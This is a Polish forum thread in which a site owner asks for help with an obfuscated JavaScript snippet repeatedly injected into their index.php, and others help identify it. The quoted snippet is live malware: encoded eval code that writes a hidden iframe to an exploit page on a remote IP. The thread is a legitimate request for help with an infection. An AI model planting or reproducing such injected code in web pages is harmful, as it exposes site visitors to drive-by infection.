Witam

Od kilku dni do moich plików na serwerze (index.php) przykleja się automatycznie poniższy kod JS. Nie jest to jednak przyklejenie na końcu pliku (jak robia np. statystyki), tylko niszczą część pliku i w to miejsce się wklejają. Bardzo proszę o pomoc w odszyfrowaniu tego małego czegoś.

[HTML] pobierz, plaintext 
<script type="text/javascript" language="JavaScript"> eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72
%69%74%65%28%22%3C%69%66%72%61%6D%65%20%73%72%63%3D%5C%22%68%74%74%70%3A%2F%2F
%38%31%2E%39%35%2E%31%35%30%2E%38%32%2F%6D%70%61%63%6B%2F%69%6E%64%65%78%2E%70%68
%70%5C%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65
%3D%5C%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%5C%22%3E%3C%2F%69%66%72%61%6D%65
%3E%22%29%3B%0D%0A%77%69%6E%64%6F%77%2E%73%74%61%74%75%73%3D%22%20%22%3B"));</script>
[HTML] pobierz, plaintext 

^^ jak sie poprawi spacje w twoim kodzie

Wielkie dzięki - już wiem przynajmniej co to jest.
A czy spotkał się ktoś z czymś takim?
Czy jest to jakiś virus, czy to serwer takie glupoty robi?
Sajty mam na Nazwa.pl, więc raczej sprawdzony provider.

zajrzyj do kodu tej strony z iframe, za pierwszym razem pokazalo "OK" czy cos, potem "your IP is blocked".

On po prostu w miejscu wklejenia wrzuca jakis text, a co robi po stronie php to nie wiem.

w googlach można znaleźć informację o tym:
- http://forum.php.pl/index.php?showtopic=72...mp;#entry377224
- http://www.siteadvisor.com/sites/81.95.150.82/summary/

ogólnie wpisz sobie w google ip: 81.95.150.82 i zobaczysz, że ludzie mają z tym problem. może gdzieś znajdziesz odpowiedź.

Dzięki za pomoc.
A wie ktoś może jak się tego pozbyć i skąd to się wzięło?
Gdzie to jest fizycznie - na serwerze czy na dysku lokalnym?
Jak z tym się walczy?